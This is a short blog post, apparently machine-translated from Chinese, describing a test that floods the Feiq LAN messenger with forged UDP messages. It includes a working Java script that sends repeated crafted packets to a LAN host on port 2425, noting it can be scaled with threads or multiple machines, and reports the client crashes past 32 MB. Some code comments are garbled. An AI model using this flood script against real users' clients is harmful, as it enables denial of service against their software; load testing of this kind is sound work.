あなたの飛秋を死なせます(UDP)


飛秋:ローカルエリアネットワークインスタント通信
テストレベル:飛秋に大量の情報を送る
性能:占有メモリ限界32 M
信頼性:攻撃的な情報(非人為的に完了可能)がある場合は、クライアント情報を拒否する必要があります.
テクノロジーレベル:Javaコードを使用してメッセージを迅速に大量に送信(ループ、またはマルチスレッドを使用して、複数のマシンが一緒に送信)
Javaコード:
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;

public class FeiqiuClientDemo {

	public static void main(String[] args) throws IOException {
		// TODO Auto-generated method stub
      //java UDP
		// , 
		for(int i=0;i<50;i++){  // , 
			String content="1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:288: , ";
			// 
			//Java udp
			byte[] sendBuf=content.getBytes("GBK");
			DatagramSocket client=new DatagramSocket();
			InetAddress addr=InetAddress.getByName("192.168.187.129");
			int port=2425;  // 
			DatagramPacket sendPacket=new DatagramPacket(sendBuf,sendBuf.length,addr,port);
			client.send(sendPacket);
			client.close();
		}
	}

}
何が飛秋を崩壊させたの?
タスクマネージャを起動してリソース状況(CPU、メモリの使用状況)を監視し、飛秋の最大メモリ消費量は32 Mで、32 Mを超えるとクラッシュが発生することを発見した.